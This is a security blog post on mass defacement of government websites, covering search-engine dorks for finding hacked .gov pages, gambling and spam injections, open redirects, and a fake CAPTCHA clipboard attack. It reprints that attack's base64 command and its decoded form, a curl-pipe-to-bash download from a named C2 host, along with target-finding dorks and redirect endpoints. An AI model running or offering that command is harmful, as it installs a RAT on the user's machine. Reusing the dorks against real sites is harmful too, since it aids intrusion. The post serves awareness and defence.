Defaced Websites for Data & Marketing

TL;DR — This blog covers technical breakdown covering a list of widely performed attack patterns targeting government and institutional infrastructures globally. Defaced targets might include a full compromise of website or some webpages altered.

Cyber attacks are getting really good and AI-driven but many high profile organizations around the world could not care less about there website infrastructure. I have personally reported compromised websites being used for malicious and still most of them are not taken down by the officials for months and years.

These websites are easily exploitable as they are running on a decade old software with several unpatched vulnerabilities, even containing personal information of millions.

This blog presents Mass Government Website-Defacement Networks. The research includes; identifying defaced websites, exploitation methods, some remarkable patterns followed by threat actors and the transparent purpose.

Disclaimer: This is a research and educational purpose blog. I do not encourage to target Government or any other infrastructure. I do not take the responsibility for your actions either. This research is written with the purpose of increasing Cyber Security awareness and provide valuable insights to Cyber Defense organizations.

Defaced Websites: How you Find Them?

That's where the research starts. And the answer is search engines and advanced search queries or Google dorks. Of course, this doesn't limit to Google, some results might be missing in Google search which can be found on duck.com, Yandex and social media platforms.

If you are new and want to learn with examples of Google dorks, you can find them at Google Hacking Database or GHDB.

Here are common dorks to start with and get results of specific top-level domains.

• Wildcard Government Search: site:.gov.* (Matches .gov, .gov.uk, .gov.gh, etc.)
• Targeted Governments: (site:.gov OR site:.gov.pk OR site:.go.id OR site:.gov.ph OR site:.gov.in)
• Cross-Domain Audit: site:.org OR site:.gov.* OR site:.edu OR site:.ac.*

Tips:

1. Use a VPN to gain localized and un-localized results from different regions.

2. Remove AI Overviews: Append &udm=14 to search URL to see raw blue links.
3. Recent Compromises: Get results from specific time frame after:2026-01-01

Active Defaced Websites

These are actual google search queries to find defaced sites through indexed results in google.

Visual Signatures

High-signal dorks for identifying current "Hacked By" pages.

Purpose: Fame, Social/Political message.

Search query:site:.gov.* (intitle:"hacked by" OR intitle:"defaced by" OR "pwned by" OR "pwnd by" OR "greetz to")

SEO & "Parasite SEO" Injections

People often search for pirated software, movies and games. There is huge network of piracy distributions available apart from Torrent. They rely on cloud hosting providers to serve the content.

But how they earn and manage the hosting bills? Well, through advertisements from multiple redirections before actually initiating the stream or download. Even some ads are present in the media you downloaded.

Still, who puts ads on illegal sites? It is again online betting platforms. Losing money at these betting websites people pay to get lured for virus infected media and quick money.

The other way to advertise gambling and adult content websites is through compromised government servers. This helps in bypassing spam filters in emails or social media by using the "trusted" websites and TLDs.

Purpose: Malvertising, Phishing, host Malware, etc.

1. Telegram channels:site:.gov.in ("telegram.me" OR "t.me")

2. Adult Content: Most of the sites are redirect to the same adult videos website through open redirect vulnerability.

Betting & Gambling Websites

Online betting sites aren't designed to be won. They are designed to look like a fair game while functioning as a highly efficient wealth-extraction tool; Sharing the same easy targets, who fall to MLM & other quick money schemes.

General Parasite SEO: site:.gov.* ("viagra" OR "cialis" OR "crypto investment" OR "forex signal" OR "payday loan")

Tip: Use the same keywords in different language to get more results.

Indonesian Gambling: site:.go.id ("slot gacor" OR "togel" OR "toto")

Philippine Gambling: site:.gov.ph ("maxwin" OR "zeus" OR "slot server thailand")

Pakistan Gambling: site:.gov.pk ("bonus new member" OR "free spins" OR "promo code" OR "gift card")

This method is targeted by hacktivists to take down or spread messages using other nations infrastructures in times of war.

Reverse Search: Compromised URL

While looking into the compromised URLs, a quick search of the same provides whole list of other websites with the same vulnerability and exploit. (Common for Open Redirect Vulnerabilities)

Attackers use forum posts to propagate and test redirect endpoints on government infrastructure.

Reference: [https://area52.wowgilden.net/forum-post_1530662.html](https://area52.wowgilden.net/forum-post_1530662.html`)

This is a visible list and a good example of a mass exploitation.

How GOV Websites are Exploited?

Well, the answer definitely lies in the utter negligence about the security; Many services are barely functional.

And, some are waiting at the installation setup of WordPress.

These pages are indexed on search engines like Google, Shodan and Fofa.

But still, it is important to know the common targets and exploitation techniques used at scale by attacker.

Websites with Open Access

Few websites serve like a open BotNet and have been consistently hit and compromised.

A Libyan government, for instance, was hit by NjRAT (Bladabindi) earlier and compromised. (source: https://www.zone-h.org/mirror/id/34787739)

And, now it serves malicious file inside an open directory.

Do NOT trust clean looking 'jpg' files.

Click COPY to Install RAT (Trojan)

What could possibly go wrong with a usual CAPTCHA verification page while browsing your trusted website?

Well, not if you land on fake verification screens (impersonating WAFs like Cloudflare Turnstile) and happily follow the instructions. The UI part is looks neat until you click "Copy" and check the clipboard.

Verified Case: ahpc.gov.gh (Ghana Allied Health Professions Council)

Copied text: echo "Y3VybCAtcyBodHRwczovL2dhbW1hLnNlY3VyZWFwaW1pZGRsZXdhcmUuY29tL3N0cml4L2luZGV4LnBocCB8IG5vaHVwIGJhc2ggJg==" | base64 -d

Decoded Payload: curl -s https://gamma.secureapimiddleware.com/strix/index.php | nohup bash &

What's happening?

1. The payload downloads a shell script from the strix/ path. (Ref: https://pastebin.com/rUbcVAfC)
2. Executes it in the background (nohup).
3. Connects with C2 Infrastructure: gamma.secureapimiddleware.com
4. Establishes persistence via LaunchAgents (macOS) or crontab (Linux).

Open Redirects in the wild

These are really easy to find using search engines using common URL parameters used for intentionally redirecting the user.

1. Episerver: /find_v2/_click
2. Australian National Library: /external.html?link=

Outdated Software

It should be a mandatory feature to have auto-updates feature turned ON or a server admin who can to update the third-party 'form' software if its about a critical security fix.

And secondly, to make the admin panel accessible only from local network.

Attached screenshot is an outdated MachForm running on a government owned domain. It is open for anyone to exploit multiple vulnerabilities and gain Remote Code Execution. Ref: https://app.opencve.io/cve/?vendor=machform

Who is Defacing Government WebSites?

Apart from individual script kiddie adding there alias to website to get money or get something to flex about. There has to be some motive to deface the websites at large scale.

• Fraud SEO-as-a-Service: Cyber Criminal syndicates sell "access" to compromised .gov domains to social media content creators and gambling operators. This is an unethical "Parasite SEO" technique.
• Mostly Spyware: As discussed with Backdoor and RAT distribution.
• It can be used for Spamouflage, or state-sponsored actors add deepfakes with political narratives.

Continued Thoughts

This is preliminary research targeting .gov domains but it goes to a huge number of carelessly handled and widely trusted websites. It is truly a concern as the defaced websites from past and now also included some privileged powers and data, which were not fixed even after being reported to respective authorities.

You are welcome to continue with this spark, and indeed it will lead to more dark motives and unknown threat actors. I would love to read about your adventures. Till then — Lets get more knowledge.